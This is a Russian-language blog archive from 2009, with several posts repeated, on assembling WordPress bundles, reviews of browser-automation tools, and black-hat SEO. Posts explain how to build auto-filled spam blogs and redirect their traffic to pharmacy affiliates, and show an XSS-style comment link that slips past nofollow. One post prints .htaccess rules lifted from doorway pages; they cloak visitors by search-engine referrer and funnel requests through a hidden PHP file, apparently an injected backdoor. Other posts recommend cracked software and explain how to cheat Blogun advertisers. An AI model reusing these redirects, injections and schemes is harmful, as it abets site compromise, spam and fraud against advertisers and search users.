Редактирование файлов ядра, плагинов и шаблонов может преследовать различные цели. Тема доводки модулей довольно обширна и поэтому подробно на ней останавливаться я не буду. Перечислю только некоторые часто встречающиеся на практике задачи, которые требуют редактирования модулей.
Редактирование файлов ядра обычно бывает необходимо: 1. Для обеспечения совместимости с другими модулями (плагинами, шаблонами) 2. Для создания дополнительной функциональности 3. Для уменьшения потребления ресурсов 4. Для модификации отдельных страниц, обычно 404-ой страницы.
Редактирование шаблонов обычно бывает необходимо для: 1. Локализации (например, русификации). 2. Удаления ссылок на сторонние сайты. 3. Обеспечения совместимости с другими модулями. 4. Создания дополнительной функциональности
Редактирование шаблонов обычно бывает необходимо для: 1. Для обеспечения совместимости с другими модулями. 2. Локализации (например, русификации). 3. Удаления ссылок на сторонние сайты. 4. Удаления обращений к чужим сайтам (например, для проверки обновлений). 5. Создания дополнительной функциональности.
Если вам известны еще какие-нибудь типы задач, которые требуют модификации (редактирования) модулей Wordpress'а – отпишитесь в комментариях.
четверг, 31 декабря 2009 г.
понедельник, 28 декабря 2009 г.
Создание своей сборки Wordpress. Подбор модулей.
НЕОБХОДИМЫЙ ФУНКЦИОНАЛ
Определение потребностей в функционале обычно осуществляется путем сравнения с аналогичными сайтами, пусть даже и на других CMS. Т. е. проектируемый интернет-магазин сравнивается с уже существующими интернет-магазинами, фотогалерея с уже существующими фотогалереями, персональный блог – с чужими блогами.
Хоть Wordpress и является универсальной системой управления контентом, на которой можно построить сайт практически любого назначения, всё же зачастую лучше предпочесть специализированные движки, спроектированные под узкие цели, нежели компоновать весь необходимый функционал из вордпрессовских модулей. Это может дать как выигрыш во времени для создания проекта, так и снижение нагрузки на хостинг в случае использования специализированного движка. Что касается необходимого функционала, так сказать «ассортимента возможностей», то на Wordpress'е можно реализовать любой набор функций и в этом отношении он от специализированных движков не отличается.
ЯДРО
Версия ядра подбирается обычно исходя из трех аспектов: ресурсоемкости, необходимого функционала и безопасности. Если безопасность не играет большой роли или обеспечивается плагинами, то в зависимости от требуемого функционала выбирают версию ядра с наименьшим номером, так как чем меньше номер версии, тем, обычно, и ниже нагрузка на хостинг. Учитывается также совместимость версии ядра с плагинами, но она проверятся уже при подборе плагинов и в случае необходимости используемая версия ядра повышается.
ПЛАГИНЫ
Набора плагинов должен быть минимальным. В набор должны входить только те плагины, которые будут использоваться. Чем больше плагинов, тем больше нагрузка на хостинг и тем больше вероятность программного конфликта как между плагинами, так и между плагинами и ядром. Размер сборки также увеличивается. При необходимости всегда можно подключить новые плагины, поэтому лишние плагины в сборке не желательны. Поиск плагинов осуществляется по их описанию, исходя их необходимых функций.
К сожаление, большинство описаний к плагинам на русском языке не существуют, поэтому поиск подходящих плагинов может быть затруднен. В этом случае приходится прочесывать места сетевого общения (форумы, социальные сети и т. п.) на предмет поиска нужных плагинов.
Именно на каком-то форуме я нашел ссылку . Этот плагин препятствует повторному опубликованию одинаковых постов, что полезно при автоматическом наполнении блога. Данный плагин помог мне решить проблему частого дублирования статей на Liex'е при их публикации через XML-RPC. Сайт автора – на французском языке! Найти этот плагин по описанию его функций через Гугл было бы практически невозможно.
ТЕМА ОФОРМЛЕНИЯ
При подборе шаблона (иначе называются тема или скин) следует исходить из тематики сайта, нагрузки от этого шаблона на хостинг, необходимой функциональности. Обычно достаточно взять шаблон с посещаемого ресурса, сходной с вашим сайтом тематик.
ЯЗЫКОВЫЕ ФАЙЛЫ
Велосипед тут выдумывать не надо. Проще воспользоваться готовыми переводами (локализациями). Для русского языка наиболее популярны переводы от lecactus.ru . Там можно найти переводы как для движка с шаблонами, так и для некоторых плагинов. При локализации Wordpress'а своими силами надо не забывать использовать кодировку UTF-8 и специальные редакторы для файлов .po и .mo, например этот - poedit.net .
Определение потребностей в функционале обычно осуществляется путем сравнения с аналогичными сайтами, пусть даже и на других CMS. Т. е. проектируемый интернет-магазин сравнивается с уже существующими интернет-магазинами, фотогалерея с уже существующими фотогалереями, персональный блог – с чужими блогами.
Хоть Wordpress и является универсальной системой управления контентом, на которой можно построить сайт практически любого назначения, всё же зачастую лучше предпочесть специализированные движки, спроектированные под узкие цели, нежели компоновать весь необходимый функционал из вордпрессовских модулей. Это может дать как выигрыш во времени для создания проекта, так и снижение нагрузки на хостинг в случае использования специализированного движка. Что касается необходимого функционала, так сказать «ассортимента возможностей», то на Wordpress'е можно реализовать любой набор функций и в этом отношении он от специализированных движков не отличается.
ЯДРО
Версия ядра подбирается обычно исходя из трех аспектов: ресурсоемкости, необходимого функционала и безопасности. Если безопасность не играет большой роли или обеспечивается плагинами, то в зависимости от требуемого функционала выбирают версию ядра с наименьшим номером, так как чем меньше номер версии, тем, обычно, и ниже нагрузка на хостинг. Учитывается также совместимость версии ядра с плагинами, но она проверятся уже при подборе плагинов и в случае необходимости используемая версия ядра повышается.
ПЛАГИНЫ
Набора плагинов должен быть минимальным. В набор должны входить только те плагины, которые будут использоваться. Чем больше плагинов, тем больше нагрузка на хостинг и тем больше вероятность программного конфликта как между плагинами, так и между плагинами и ядром. Размер сборки также увеличивается. При необходимости всегда можно подключить новые плагины, поэтому лишние плагины в сборке не желательны. Поиск плагинов осуществляется по их описанию, исходя их необходимых функций.
К сожаление, большинство описаний к плагинам на русском языке не существуют, поэтому поиск подходящих плагинов может быть затруднен. В этом случае приходится прочесывать места сетевого общения (форумы, социальные сети и т. п.) на предмет поиска нужных плагинов.
Именно на каком-то форуме я нашел ссылку . Этот плагин препятствует повторному опубликованию одинаковых постов, что полезно при автоматическом наполнении блога. Данный плагин помог мне решить проблему частого дублирования статей на Liex'е при их публикации через XML-RPC. Сайт автора – на французском языке! Найти этот плагин по описанию его функций через Гугл было бы практически невозможно.
ТЕМА ОФОРМЛЕНИЯ
При подборе шаблона (иначе называются тема или скин) следует исходить из тематики сайта, нагрузки от этого шаблона на хостинг, необходимой функциональности. Обычно достаточно взять шаблон с посещаемого ресурса, сходной с вашим сайтом тематик.
ЯЗЫКОВЫЕ ФАЙЛЫ
Велосипед тут выдумывать не надо. Проще воспользоваться готовыми переводами (локализациями). Для русского языка наиболее популярны переводы от lecactus.ru . Там можно найти переводы как для движка с шаблонами, так и для некоторых плагинов. При локализации Wordpress'а своими силами надо не забывать использовать кодировку UTF-8 и специальные редакторы для файлов .po и .mo, например этот - poedit.net .
Создание своей сборки Wordpress. Общая часть.
Про создание сборок Wordpress написано достаточно много. Внесу и я свою лепту, свои три копейки.
Что такое сборка? Wordpress - это программное обеспечение, построенное по модульному принципу, то есть представляет некий механизм, который собирается из отдельных частей, прежде чем быть готовым к использованию.
Так вот, сборка это те отдельные части Wordpress’a (модули), которые конкретный пользователь сводит в единое целое для достижения определенного функционала.
Модули Wordpress'a - это:
Помимо плагинов встречаются и другие скрипты для Wordpress’a, которые, однако, из админки Wordpress’a не управляются, а запускаются и управляются самостоятельно и независимо от Wordpress’a. Таких скриптов немного, модулями Wordpress’a они не являются и соответственно в состав сборок не входят.
Характерный пример такого скрипта – «времяменятель» от . При желании, конечно, любой такой скрипт можно переделать в плагин, так как разница между ними только в способе управления. Так, например, упомянутый «времяменятель» передлан в плагин и теперь управляется их админки Wordpress’a - .
Создание собственной сборки состоит примерно из следующих шагов:
Что такое сборка? Wordpress - это программное обеспечение, построенное по модульному принципу, то есть представляет некий механизм, который собирается из отдельных частей, прежде чем быть готовым к использованию.
Так вот, сборка это те отдельные части Wordpress’a (модули), которые конкретный пользователь сводит в единое целое для достижения определенного функционала.
Модули Wordpress'a - это:
- Ядро или движок. Совокупность скриптов, обеспечивающих базовую функциональность сайта. В чистом виде не встречается. В дистрибутив, скачиваемый с официального сайта, помимо ядра входит два шаблона, языковые файлы и пара плагинов.
- Плагины. Скрипты, обеспечивающие дополнительную функциональность сайту и управляемые непосредственно из ядра Wordpress’a.
- Языковые файлы. Набор файлов, обеспечивающих перевод элементов интерфейса сайта.
- Тема или шаблон. Набор файлов, в частности изображений, обеспечивающих определенный внешний вид сайта и определенную функциональность.
Помимо плагинов встречаются и другие скрипты для Wordpress’a, которые, однако, из админки Wordpress’a не управляются, а запускаются и управляются самостоятельно и независимо от Wordpress’a. Таких скриптов немного, модулями Wordpress’a они не являются и соответственно в состав сборок не входят.
Характерный пример такого скрипта – «времяменятель» от . При желании, конечно, любой такой скрипт можно переделать в плагин, так как разница между ними только в способе управления. Так, например, упомянутый «времяменятель» передлан в плагин и теперь управляется их админки Wordpress’a - .
Создание собственной сборки состоит примерно из следующих шагов:
- Определяются потребности в функционале сайта.
- Подбирается версия ядра, набор плагинов, тема (шаблон) и языковые файлы, реализующие необходимый функционал. Плагины и шаблон перемещаются в соответствующие папки ядра.
- При необходимости осуществляется доработка кода ядра, плагинов и шаблона под свои нужды.
- Производится предустановочная настройка сборки, т. е. определяется какие плагины, настройки ядра и какой шаблон будут работать сразу после установки Wordpress’a и не потребуют ручной активации.
суббота, 26 декабря 2009 г.
Пример XSS
Копался в интернете, попал на один англоязычный блог. Машинально проверил на наличие nofollow в комментариях. Этот тэг там был в виде rel="external nofollow". Однако один комментарий, на французском языке привлек мое внимание. Насколько позволили мои знания французского комментарий был о карточной игре баккара и соответственно ссылка вела на интернет казино. Посмотрел на ссылку, тэг nofollow отсутствовал, хотя в комментариях выше и ниже тэг nofollow был. Как уже удалось вставить ссылку без nofollow? В точности это неизвестно, но сама ссылка выглядела как
<a title="<br />" href="http://www.strategie-du-baccarat.fr/"> meilleure stratã©gie du jeu du baccarat</a>
Может кому-нибудь и пригодится. Если кто разберется как делать – чиркните в комментах.
Сам адрес страницы с данной ссылкой -
<a title="<br />" href="http://www.strategie-du-baccarat.fr/"> meilleure stratã©gie du jeu du baccarat</a>
Может кому-нибудь и пригодится. Если кто разберется как делать – чиркните в комментах.
Сам адрес страницы с данной ссылкой -
пятница, 27 ноября 2009 г.
Сброс трафика со сплога
Многим известен такой метод раскрутки сплогов как автонаполнение по электронной почте. Суть его в том, что выбирается блогохостинг с возможностью постинга сообщений по адресу электронной почты, регистрируется блог, в нем настраивается адрес электронной почты и на этот адрес производится подписка на каком-либо сервисе бесплатных рассылок. Получается самонаполняемый блог, который со временем получает кое-каких посетителей. Обычно в качестве блогохостинга под нерусские дорвеи используют blogspot.com. Если на созданный автосплог не ставить ссылки, то за счет самообновления по емэйлу количество посетителей со временем составит два-три десятка человек в сутки и далее расти не будет, хотя бывают и исключения. Подобные сплоги обычно используют как сателлит, а также для размещения баннеров, контекстной рекламы, всплывающих окон и т. п. Конвертация трафика с таких сплогов близка к нулю и поэтому их надо создавать сотнями и тысячами, чтобы получить ощутимый эффект.
Еще одним способом использования трафика со сплогов является единоразовый сброс всего трафика со сплога. Для этого к сплогам надо прикрутить собственный домен. Когда через пару месяцев на сплоге появятся посетители, настраивается редирект домена (через смену dns) на нужную партнерку. 2-3 дня траф полностью сливается на партнерку, потом домен банится поисковой машиной и траф прекращается. К сплогу прикручивается новый домен и сплог используется снова. Получается своего рода многоразовый дорвей.
Какова эффективность метода? Зависит от тематики. Возьмем, к примеру, продажу лекарств через интернет, т. е. фарму. Показатель конверсия трафика составляет примерно 1 заказ на 700 посетителей при больших объемах трафика (не менее 1000 посетителей). В деньгах это примерно 0,01-0,10 доллара на посетителя (опять таки на объемах от тысячи посетителей). Таким образом, условно примем, что слив трафика с одного сплога даст нам 30 уников х 2 дня х 0,01 = 0,6 долларов. Поскольку домен банится, то покупка домена не окупится (учитываем, что домен раскручиваться не будет, поднимется только за счет автонаполнения). Отсюда вывод – для данного метода целесообразно использовать только бесплатные домены, типа co.cc. При ссылочной раскрутке сплогов количество трафика с них, конечно, увеличится, и возможно окупится даже и покупка доменов, но тогда уже однократный слив трафика на аптеку может оказаться нецелесообразным.
Еще одним способом использования трафика со сплогов является единоразовый сброс всего трафика со сплога. Для этого к сплогам надо прикрутить собственный домен. Когда через пару месяцев на сплоге появятся посетители, настраивается редирект домена (через смену dns) на нужную партнерку. 2-3 дня траф полностью сливается на партнерку, потом домен банится поисковой машиной и траф прекращается. К сплогу прикручивается новый домен и сплог используется снова. Получается своего рода многоразовый дорвей.
Какова эффективность метода? Зависит от тематики. Возьмем, к примеру, продажу лекарств через интернет, т. е. фарму. Показатель конверсия трафика составляет примерно 1 заказ на 700 посетителей при больших объемах трафика (не менее 1000 посетителей). В деньгах это примерно 0,01-0,10 доллара на посетителя (опять таки на объемах от тысячи посетителей). Таким образом, условно примем, что слив трафика с одного сплога даст нам 30 уников х 2 дня х 0,01 = 0,6 долларов. Поскольку домен банится, то покупка домена не окупится (учитываем, что домен раскручиваться не будет, поднимется только за счет автонаполнения). Отсюда вывод – для данного метода целесообразно использовать только бесплатные домены, типа co.cc. При ссылочной раскрутке сплогов количество трафика с них, конечно, увеличится, и возможно окупится даже и покупка доменов, но тогда уже однократный слив трафика на аптеку может оказаться нецелесообразным.
понедельник, 16 ноября 2009 г.
О пользе потерянных дорвеев.
В одном из предыдущих постов я писал, что как-то потерял пачку доров из-за того, что спамил с домашнего компа с выключенным антивирусом – сперли акки из Total Commander'a. На днях ради любопытства зашел на одина из своих бывших акков. Доры туда льют вовсю! Нашел в чужом доре пример редиректа с помощью файла htaccess. Редирект происходит только если в реферере имеется адрес какая-нибудь часть адреса поисковика. Может кому-нибудь пригодится. Вот смотрите:
#dm3r3r18
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http://newsreading.ru/ [R=301,L]
#####ErrorDocument 401 http://newsreading.ru/
#####ErrorDocument 403 http://newsreading.ru/
#####ErrorDocument 404 http://newsreading.ru/
#####ErrorDocument 500 http://newsreading.ru/
И еще один htaccess ---------------------------------------------------
ErrorDocument 400 http://mefa.ws/1/news.php?s=c7f25409b9
ErrorDocument 401 http://mefa.ws/1/news.php?s=c7f25409b9
ErrorDocument 403 http://mefa.ws/1/news.php?s=c7f25409b9
ErrorDocument 404 http://mefa.ws/1/news.php?s=c7f25409b9
ErrorDocument 500 http://mefa.ws/1/news.php?s=c7f25409b9
AddType application/x-httpd-php .php .htm .html .phtml
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(----)$ http://mefa.ws/1/news.php?s=c7f25409b9 [R=301,L]
#DAF1390272C7{
RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !PE(.*).php
RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml) PEDAF1390272C7.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]
#DAF1390272C7}
пятница, 6 ноября 2009 г.
Автоматизаторы. Обзор моделей. Zennoposter.
Zennoposter. Официальный сайт - captcham.net
Цена версии Pro – 289 евро или 427,7 доллара США (на 6.11.2009 курс к доллару составлял 1,48 доллара США за 1 евро). Последняя версия 2.9.9.1
Цена версии Lite – 79 евро или 116,9 доллара США (на 6.11.2009).
Возможно также покупка месячных лицензий (аренда).
Ломаные версии не встречались.
Имеется демонстрационная версия на 30 дней с некоторыми ограничениями по функционалу.
Преимущества данного автоматизатора:
Цена версии Pro – 289 евро или 427,7 доллара США (на 6.11.2009 курс к доллару составлял 1,48 доллара США за 1 евро). Последняя версия 2.9.9.1
Цена версии Lite – 79 евро или 116,9 доллара США (на 6.11.2009).
Возможно также покупка месячных лицензий (аренда).
Ломаные версии не встречались.
Имеется демонстрационная версия на 30 дней с некоторыми ограничениями по функционалу.
Данный автоматизатор также представляет собой надстройку над Internet Explorer’ом, но управление осуществляется с помощью компонентов, написанных на C#, а не на php, как у Human Emulator'a. Поддержка даже частичной автоматизации других программ отсутствует. Программа направлена на автоматизацию решения сеошных задач и вообще задач, связанных с работой в интернете. Под макросами в данном автоматизаторе понимается последовательность некоторых предопределенных переменных, а не запись действий пользователя. Запись действий пользователя именуется шаблоном. Шаблон записывается отдельной программой под названием ProjectMaker. Zennoposter на 70-80% состоит из готовых компонентов, написанных программистами Microsоft'a или сторонними разработчиками. Это видно из того, что интерфейс как самого Zennoposter'а, так и ProjectMaker'a остается на английском языке, без перевода. Также в программе используется коммерческий модуль почтового клиента компании AfterLogic оставленный без какого-либо перевода на русский язык. Такое положение дел затрудняет пользование программой, несмотря на наличие русской справки. Наличие графического интерфейса несколько облегчает работу, но всё равно требует развития программистских навыков. По заявлению одного из разработчиков, nuaru, особенностями программы по сравнению с некоторыми аналогами являются: 1. Многопоточность, 2.Возможность подтверждения ссылок активации по электронной почте, 3. Работа с капчами, в том числе и через сервисы распознавания капч, 4. Использование прокси, 5. Русскоязычная поддержка.
Преимущества данного автоматизатора:
- ориентированность на автоматизацию работы с интернетом и решение сеошных задач
- более-менее развитый графический интерфейс (является преимуществом только для непрограммистов)
- документация на русском языке
- наличие демо-версии
- гибкая ценовая политика
- разработка и совершенствование автоматизатора продолжаются
- относительно высокая цена
- отсутствие гибкости при исполнение шаблона (нет логических операторов и циклов)
- невозможность подключения собственных функций и модулей
- невозможность управлять другими программами кроме Internet Explorer'a (в том числе и другими браузерами)
- в конечном счете, программирование всё равно придется изучать или заказывать шаблоны на стороне, причем программировать придется на внутренних командах Zennopposter’a, что не позволит применить полученные навыки программирования в другой области
- интерфейс на английском языке
вторник, 3 ноября 2009 г.
Автоматизаторы. Обзор моделей. Human Emulator.
XWeb Human Emulator (он же Xedant Human Emulator, он же Pastukhov Human Emulator, XHE)
Официальный сайт - http://www.humanemulator.info/ .
Цена 347 долларов США за многопоточную версию и 197 долларов США за однопоточную. Последняя версия – 3.0.6.
Некоторые подробности о функционале разных версий можно узнать по адресу
http://www.humanemulator.info/changelog.txt .
Преимущества данного автоматизатора:
Официальный сайт - http://www.humanemulator.info/ .
Цена 347 долларов США за многопоточную версию и 197 долларов США за однопоточную. Последняя версия – 3.0.6.
В сети имеются взломанные версии 2.8.12, 2.9.6, 2.9.8. Во взломанных версиях имеются какие-то ограничения по функционалу (вроде не записываются макросы), за исключением самой ранней версии 2.8.12, которая полностью работоспособна.
Некоторые подробности о функционале разных версий можно узнать по адресу
http://www.humanemulator.info/changelog.txt .
Данный автоматизатор представляет собой надстройку над Internet Explorer’ом, которая позволяет управлять данным браузером с помощью языка php. Этим самым имитируются (эмулируются) действия человека, использующего браузер. Имеется модуль записи макросов и редактор кода. Разработчики создали довольно много функций (команд) на php, дающих возможность автоматизировать большинство задач по работе с интернетом. Программа постоянно дорабатывается, о чем можно судить по динамике количества функций (команд), имеющихся в Human Emulator'е, см. таблицу ниже.
Номер версии | Количество команд (функций) |
2.8 | 169 |
2.8.7 | 240 |
2.9.12 | 600 |
3.0.6 | 753 |
- ориентированность на автоматизацию работы с интернетом и решение сеошных задач
- стимулирует к изучению php (не для всех является преимуществом)
- возможность писать на php свои куски кода
- разработка и совершенствование автоматизатора продолжаются
- документация на русском языке
- относительно высокая цена
- отсутствие демо-версии, что, впрочем, компенсируется наличием ломаной версии
- невозможность управлять другими программами кроме Internet Explorer'a (в том числе и другими браузерами)
- в конечном счете, программирование всё равно придется изучать или заказывать скрипты для Human Emulator'а на стороне
среда, 28 октября 2009 г.
Автоматизаторы. Общие понятия.
В жизни вебмастера рано или поздно наступает момент, когда полуручной труд по регистрации на фрихостах, заливке файлов по ftp, сбору текста, постингу текста и т. п. замучивает до невозможности. И вроде все инструменты по отдельности есть, но приходится нажимать мышкой кнопки на интерфейсе по тысяче раз на дню, причем на одни и те же кнопки. Чувствуешь себя при этом полным идиотом или обезьяной, стучащей по пишущей машинке в надежде написать «Войну и мир».
Наступает пора программирования. Садишься за учебники и пишешь программы сам или заказываешь на стороне. И всё равно, что-то где-то не срастается, какой-то функции недостает. И опять – тыкаешь кнопки по много раз в день. Бывает и другое. Находишь несколько программ, даже в бесплатном варианте. Каждая из них по отдельности выполняет какую-нибудь нужную тебе функцию. А тебе надо связать эти функции в непрерывную производственную цепь, работающую без твоего вмешательства. Что делать?
Вот тут и приходят на помощь программные средства, называемые для краткости автоматизаторами. Такие средства известны довольно многим под именем макросов и встречаются во многих программах, например в том же Microsoft Office'е или Photoshop'e.
Такие макросы полезны, однако действуют в пределах одной, конкретной программы и связать воедино несколько разнородных программ не могут.
Именно это могут автоматизаторы – соединять воедино разные программы или разные функции одной программы, не имеющей встроенных макросов. По сути своей автоматизаторы это отдельные языки программирования или реже библиотеки (классы, оболочки) общераспространенных языков программирования, написанные специально под нужды управления другими программами в конкретной операционной системе. То есть это своего рода программируемая надстройка над операционной системой, сделанная сторонним производителем.
Все автоматизаторы обычно включают в себя средство для записи действий пользователя в операционной системе. Запись затем преобразуется в код конкретного автоматизатора.
Автоматизаторы условно можно разделить на автоматизаторы для программиста и автоматизаторы для рядового пользователя.
Автоматизатор, ориентированный на программиста это язык программирования в чистом виде. Пишется код программы для автоматизации аналогично обычным языкам программирования, затем он компилируется или исполнятся интерпретатором. Такие автоматизаторы достаточно сложны для применения, поскольку их изучение равносильно изучению языка программирования и требует специфического склада мышления.
Автоматизаторы, ориентированные на рядового пользователя. Помимо текстовых средств написания кода и его интерпретации имеют графические элементы управления, отражающие определенные действия, например закачку по ftp, запуск браузера, включение по расписанию и т. п. Составление программы автоматизации сводится к определенной компоновке таких графических элементов с помощью указателя мыши. Напоминает детские кубики, из которых можно построить что угодно. Такие автоматизаторы весьма практичны, но в чистом виде почти не встречаются.
Наступает пора программирования. Садишься за учебники и пишешь программы сам или заказываешь на стороне. И всё равно, что-то где-то не срастается, какой-то функции недостает. И опять – тыкаешь кнопки по много раз в день. Бывает и другое. Находишь несколько программ, даже в бесплатном варианте. Каждая из них по отдельности выполняет какую-нибудь нужную тебе функцию. А тебе надо связать эти функции в непрерывную производственную цепь, работающую без твоего вмешательства. Что делать?
Вот тут и приходят на помощь программные средства, называемые для краткости автоматизаторами. Такие средства известны довольно многим под именем макросов и встречаются во многих программах, например в том же Microsoft Office'е или Photoshop'e.
Такие макросы полезны, однако действуют в пределах одной, конкретной программы и связать воедино несколько разнородных программ не могут.
Именно это могут автоматизаторы – соединять воедино разные программы или разные функции одной программы, не имеющей встроенных макросов. По сути своей автоматизаторы это отдельные языки программирования или реже библиотеки (классы, оболочки) общераспространенных языков программирования, написанные специально под нужды управления другими программами в конкретной операционной системе. То есть это своего рода программируемая надстройка над операционной системой, сделанная сторонним производителем.
Все автоматизаторы обычно включают в себя средство для записи действий пользователя в операционной системе. Запись затем преобразуется в код конкретного автоматизатора.
Автоматизаторы условно можно разделить на автоматизаторы для программиста и автоматизаторы для рядового пользователя.
Автоматизатор, ориентированный на программиста это язык программирования в чистом виде. Пишется код программы для автоматизации аналогично обычным языкам программирования, затем он компилируется или исполнятся интерпретатором. Такие автоматизаторы достаточно сложны для применения, поскольку их изучение равносильно изучению языка программирования и требует специфического склада мышления.
Автоматизаторы, ориентированные на рядового пользователя. Помимо текстовых средств написания кода и его интерпретации имеют графические элементы управления, отражающие определенные действия, например закачку по ftp, запуск браузера, включение по расписанию и т. п. Составление программы автоматизации сводится к определенной компоновке таких графических элементов с помощью указателя мыши. Напоминает детские кубики, из которых можно построить что угодно. Такие автоматизаторы весьма практичны, но в чистом виде почти не встречаются.
вторник, 27 октября 2009 г.
Как обмануть робота или немного о Блогуне
Одной из партнерок, дающей блогерам заработать, а рекламодателям подыскать рекламные площадки является известный многим Блогун.
Сначала, как водится моя и моя .
А теперь по теме. От блогеров Блогун принимает практически все площадки. Отказ обычно может случиться, только если вы неправильно разместите код Блогуна на своем блоге, в частности не разместите ссылку на невидимую картинку.
Для заработка у блогеров существует три инструмента: 1) написание постовых 2) написание кратких обзоров 3) написание подробных обзоров. Цены на обзоры колеблются в широких пределах. Минимальная же цена на постовой – 10 центов и обычное не повышается. Постовой - это несколько слов в конце любого поста на блоге со ссылкой на ресурс рекламодателя. Правилами Блогуна разрешается не более 3-ёх постовых для одного сообщения в блоге. Много ли это – 10 центов? Казалось бы нет, но сравним с ценами на ссылки в sape.ru. Там цена на ссылку с нулевого по ТИЦу сайта – 1 цент (есть, конечно, и дороже, но по 1 центу можно найти море предложений). В Блогуне большинство блогов тоже нулевые. Получается, что, отдавая 10 центов за постовой, мы платим столько же, сколько за ссылку в год (точнее за 10 месяцев) размещенную через sape.ru. В сапе у вас будет каждый месяц списываться по 1 центу, а не 10 сразу и если вы захотите снять ссылку по каким-либо причинам (например, страница со ссылкой после 4 месяцев не попала в индекс поисковой машины) то вы это сможете сделать и сэкономить, таким образом, ссылочный бюджет. В Блогуне снять ссылку и получить деньги обратно, хотя бы частично, вы не можете, независимо от того, оказалась ссылка в индексе или нет. Так что для блогеров с нулевыми показателями блогов торговать постовыми в Блогуне выгоднее, чем продавать ссылки на биржах, в той же сапе.
Соответственно для оптимизатора покупка ссылок в виде постовых может оказаться дороже, нежели на биржах ссылок. В чем же выгоды оптимизатора?
- Ссылка в постовом размещается обычно навечно. Встречаются, конечно, и непорядочные блогеры, удаляющие вашу ссылку через месяц-два, но таких немного. Так что если ваш проект рассчитан более чем на год, то вы получите экономию ссылочного бюджета, а не его перерасход.
- Изредка попадаются ненулевые блоги с ТИЦ-ем от 10. Постовой в них также продается по 10 центов. Большинство ссылок с сайтов, имеющих такой ТИЦ стоят от 10 центов в месяц (по цене в 1 цент за ссылку в месяц я нашел в sape только 23 площадки). Таким образом, имеется некоторая экономия на сайтах с хорошим ТИЦ, особенно в долгосрочной перспективе.
- Иногда удается получить дополнительный трафик с блогов, но рассчитывать на него особо не стоит – большинство блогов в Блогуне годятся только под размещение ссылок.
Из недостатков следует отметить, что большинство постовых не соответствуют теме поста в блоге, что несколько уменьшает вес размещенной ссылки.
Как заработать на блогуне начинающему сеошнику («школьнику»)? На продаже постовых. Для этого регистрируете пару десятков блогов на бесплатных хостах, доменов покупать для этих блогов не надо. Довольствуйтесь поддоменом 3-го уровня, который бесплатно предоставит хостер. Наполняете каждый блог 10-20 постами скопированными с других сайтов, добавляете адреса блогов в несколько соцзакладок. Штук пять блогов сразу добавляете в Блогун – вдруг их и так примут! Для остальных блогов ждете индексации в Яндексе и тоже их добавляете в Блогун.
Вот список некоторых бесплатных блогохостингов, которые достаточно хорошо индексируются Яндексом:
- http://wyinc.ru/ - на основе Wordpress MU
- http://www.livejournal.com/
- https://www.blogger.com/ ( http://blogspot.com/ )
- http://blogs.yandex.ru/ (ya.ru)
- http://blog.tut.by/
- http://www.blox.ua/html
Если вы собираетесь воспользоваться другими блогохостингами, обратите внимание, чтобы блоги были на поддомене (как у livejournal.com) , а не в папке. Яндекс хуже индексирует блоги, расположенные в папке (т. е. блоги типа domain.ru/~blogvasipupkina/).
Если ваши блоги приняты в Блогун – рассылайте заявки рекламодателям. На цену ниже 10 центов не соглашайтесь, иначе ничего не заработаете. Постить в блоги пока будете вручную. Под каждые три постовых – новый пост, скопированный с других сайтов. Постовые пишете самостоятельно. Заработаете денег – обязательно закажите написание софта для Блогуна, иначе просто замучаетесь писать постовые и рассылать заявки вручную.
А теперь - как же обмануть робота?!
Этот раздел для оптимизаторов. Здесь описывается метод как на Блогуне получить бесплатные ссылки с блогов. Метод немного нечестный, так что пользоваться им или нет – на вашей совести.
В Блогуне много говноблогов, находящихся, тем не менее, в индексе Яндекса. Для рассылки заявок рекламодателям владельцы этих блогов используют специальное программное обеспечение. Постинг в такие блоги также происходит автоматически. В подавляющем большинстве случаев используемое программное обеспечение работает только на постинг и не способно редактировать уже имеющиеся посты. Вычисляются такие говноблоги достаточно просто. Надо послать задание на переделку, написав какое-либо замечание. Если ответ с разъяснением от блогера не получен, то почти наверняка перед нами нами «автоматическая» учетная запись, контролируемая роботом.
